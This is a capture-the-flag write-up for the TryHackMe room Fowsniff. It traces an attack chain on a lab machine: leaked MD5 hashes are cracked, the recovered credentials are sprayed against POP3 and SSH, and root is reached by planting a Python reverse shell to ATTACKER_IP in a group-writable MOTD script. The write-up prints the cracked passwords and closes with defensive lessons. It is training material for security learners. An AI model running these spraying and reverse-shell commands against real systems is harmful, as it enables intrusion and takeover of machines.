Fowsniff CTF
Executive summary — Fowsniff CTF is an Easy Linux boot2root room about the fallout of a corporate data breach. The company website admits a leak, a public paste of the stolen MD5 password hashes is cracked offline, the recovered credentials are sprayed against the POP3 mail service, a mailbox reveals a shared temporary SSH password, and one employee never changed it. From that low-privileged shell, a group-writable script that the MOTD banner runs as root is replaced with a reverse shell. A Leaked hashes → POP3 → Mail → SSH → MOTD script → Root journey.
| Platform | TryHackMe |
| Operating system | Linux (Ubuntu) |
| Difficulty | Easy |
| Room | Fowsniff CTF |
| Target IP | MACHINE_IP |
Attack map
[80/HTTP] Fowsniff Corp site announces a breach
| OSINT: public paste with employee e-mails + MD5 hashes
v
[CRACK] 8 of 9 MD5 hashes recovered with online lookup tables
| credential spraying against POP3 (110)
v
[POP3] seina:... logs in, mailbox holds a "temporary SSH password"
| hydra: same password against every employee on SSH
v
[SSH] baksteen never changed it -> shell as a normal user
| group "users" can write /opt/cube/cube.sh
v
[MOTD] /etc/update-motd.d/00-header runs cube.sh as root at every login
| reverse shell planted in cube.sh, log in again
v
[ROOT] uid=0 -> /root/flag.txt = FLAG
1. Reconnaissance
As always, the first move is a full TCP sweep. Scanning every port (-p-) matters because a service on a non-standard port is easy to miss, and -sC -sV adds the default NSE scripts and version detection in one pass.
sudo nmap -sC -sV -p- MACHINE_IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Fowsniff Corp - Delivering Solutions
110/tcp open pop3 Dovecot pop3d
143/tcp open imap Dovecot imapd
Analysis: four services. SSH and a web server are expected, but an exposed mail stack (POP3 and IMAP via Dovecot) is the interesting part: mail servers authenticate with the same system accounts as the host, so any credentials we gather can be tested on three different doors.
2. OSINT — the breach
Browsing to port 80 shows a corporate landing page. Further down, the company openly states that its internal system suffered a breach, that employee usernames and passwords were exposed, and that its social media account was hijacked. That is a gift: the attackers who leaked the data usually published it somewhere. Searching for the company name leads to the hijacked social account, and from there to a paste containing the dump. The original paste has since been removed, but archived copies of the leak are still reachable through web archives and the room author's public repository.
The leak is a list of user@fowsniff:hash lines. The hashes are 32 hex characters, i.e. unsalted MD5:
mauer@fowsniff:8a28a94a588a95b80163709ab4313aa4
mustikka@fowsniff:ae1644dac5b77c0cf51e0d26ad6d7e56
tegel@fowsniff:1dc352435fecca338acfd4be10984009
baksteen@fowsniff:19f5af754c31f1e2651edde9250d69bb
seina@fowsniff:90dc16d47114aa13671c697fd506cf26
stone@fowsniff:a92b8a29ef1183192e3d35187e0cfabd
mursten@fowsniff:0e9588cb62f4b6f27e33d449e2ba0b3b
parede@fowsniff:4d6e42f56e127803285a0a7649b5ab11
sciana@fowsniff:f7fd98d380735e859f8b2ffbbede5a7e
3. Cracking the hashes
Unsalted MD5 is the ideal case for a pre-computed lookup: identical passwords always give identical hashes, so public rainbow-table style services (CrackStation, hashes.com) answer instantly. You can do the same locally with hashcat -m 0 hashes.txt rockyou.txt. Eight of the nine fall:
| User | Password |
|---|---|
| mauer | mailcall |
| mustikka | bilbo101 |
| tegel | apples01 |
| baksteen | skyler22 |
| seina | scoobydoo2 |
| stone | not recovered |
| mursten | carp4ever |
| parede | orlando12 |
| sciana | 07011972 |
Analysis: the passwords are short dictionary words with digits appended, a classic pattern. The breach text said everyone must change their password, so we do not know which ones still work. That is exactly what a credential-spraying test will tell us.
4. Testing the credentials against POP3
Each recovered pair goes into a file in the user password format (usernames without the @fowsniff suffix, because that is how Dovecot expects the login):
mauer mailcall
mustikka bilbo101
tegel apples01
baksteen skyler22
seina scoobydoo2
mursten carp4ever
parede orlando12
sciana 07011972
Metasploit's POP3 login scanner can consume that combined file. The detail that trips people up is that USER_FILE and PASS_FILE have a default wordlist and must be blanked, otherwise the module ignores USERPASS_FILE:
msfconsole -q
use auxiliary/scanner/pop3/pop3_login
set RHOSTS MACHINE_IP
set USER_FILE ''
set PASS_FILE ''
set USERPASS_FILE users_with_pass.txt
set STOP_ON_SUCCESS true
run
[-] Failed: 'mauer:mailcall', '-ERR [AUTH] Authentication failed.'
[-] Failed: 'mustikka:bilbo101', '-ERR [AUTH] Authentication failed.'
[-] Failed: 'tegel:apples01', '-ERR [AUTH] Authentication failed.'
[-] Failed: 'baksteen:skyler22', ''
[+] Success: 'seina:scoobydoo2' '+OK Logged in.'
Analysis: onlyseinanever changed her password. The other accounts were rotated after the breach, which is the correct reaction, but one stale credential is all an attacker needs. (The module then crashes with a RubyNoMethodErrorwhile reporting; that is a framework bug, not a problem with the target.)
5. Reading the mailbox
POP3 is a plain-text line protocol, so netcat is enough to read mail without a client:
nc MACHINE_IP 110
user seina
pass scoobydoo2
list
retr 1
retr 2
quit
list shows two messages and retr N prints one. The first is an "URGENT! Security EVENT!" mail from the sysadmin A.J. Stone to all staff. It explains that the old SQL-backed authentication was abused through incorrectly filtered escape characters (an SQL injection), that a temporary server is now in use, and that employees can reach it over SSH with a temporary password shared by e-mail: S1ck3nBluff+secureshell. Staff are told to change it "under guidance", i.e. later.
The second mail, from baksteen (signing as Skyler), says he is feeling ill, going home early, and has not yet read Stone's message. That sentence is the hint: if he has not read the mail, he has not changed the password.
6. SSH as the employee who did not change it
Rather than rely on the guess, test the shared password against every account with Hydra. -L takes a list of usernames and lowercase -p a single fixed password, which makes this a password spray (one password, many users) instead of a per-user brute force, so it is quick and quiet:
hydra -L users.txt -p 'S1ck3nBluff+secureshell' MACHINE_IP ssh
[22][ssh] host: MACHINE_IP login: baksteen password: S1ck3nBluff+secureshell
1 of 1 target successfully completed, 1 valid password found
ssh baksteen@MACHINE_IP
The login banner is a custom "Fowsniff Corporate Server" ASCII logo. Remember that, because it is the key to the next step.
7. Privilege escalation via the MOTD banner
First, who are we and what does our group own?
id
find / -type f -group users -executable 2>/dev/null
uid=1004(baksteen) gid=100(users) groups=100(users),1001(baksteen)
/opt/cube/cube.sh
The find flags: -type f restricts to regular files, -group users keeps files owned by our group, -executable keeps the ones we can run, and 2>/dev/null hides permission errors. ls -l on the result shows -rw-rwxr-- parede users: the group has read, write and execute, so as a member of users we can edit it. The script just prints the ASCII logo we saw at login. Why would a banner script matter? Because on Ubuntu the login banner is built by the scripts in /etc/update-motd.d/, which pam_motd runs as root on every SSH login. Checking the header script confirms the link:
cat /etc/update-motd.d/00-header
...
sh /opt/cube/cube.sh
So a root-run file calls a script that we are allowed to modify. Overwrite it with a reverse shell (a Python one-liner is used because the target ships Python 3; ATTACKER_IP is your VPN address and the port is arbitrary):
cat > /opt/cube/cube.sh <<'EOF'
#!/bin/sh
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
EOF
The three dup2 calls wire stdin, stdout and stderr to the socket so the spawned shell talks to us. Start a listener on your machine, then trigger the MOTD by opening a new SSH session as baksteen:
nc -lvnp 1234
# in another terminal:
ssh baksteen@MACHINE_IP
connect to [ATTACKER_IP] from (UNKNOWN) [MACHINE_IP] 60898
# id
uid=0(root) gid=0(root) groups=0(root)
8. Root flag
ls -l /root
cat /root/flag.txt
The file holds an ASCII-art congratulation message and the root flag: FLAG.
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon | Public breach dump | Employee e-mails and password hashes published online | Offline attack material for free |
| Credential access | Password storage | Unsalted MD5 hashes of weak passwords | 8 of 9 passwords recovered instantly |
| Initial access | Dovecot POP3 | Account that never rotated its leaked password; plain-text protocol | Mailbox access |
| Lateral movement | Mail and SSH | Shared temporary password distributed by e-mail and never changed | Shell as a normal user |
| Privilege escalation | /opt/cube/cube.sh | Group-writable script executed as root by the MOTD mechanism | Root code execution |
Lessons learned
- After a breach, force credential resets and check that they happened; asking users to "change it soon" leaves a window the attacker will use.
- Never distribute a shared default or temporary password by e-mail, and make it single-use so it expires at first login.
- Store passwords with a slow, salted algorithm (bcrypt, scrypt, Argon2). Unsalted MD5 is cracked by lookup in milliseconds.
- Anything executed by root at login (MOTD scripts, cron jobs, systemd units) and anything those scripts call must be owned by root and not writable by lower-privileged groups. Audit with
find / -writablestyle checks. - Offensively: always test recovered credentials on every exposed service, read the mail, and when you find a writable file, ask who executes it and with which privileges.
- Prefer encrypted mail protocols (POP3S, IMAPS) so credentials do not cross the network in plain text.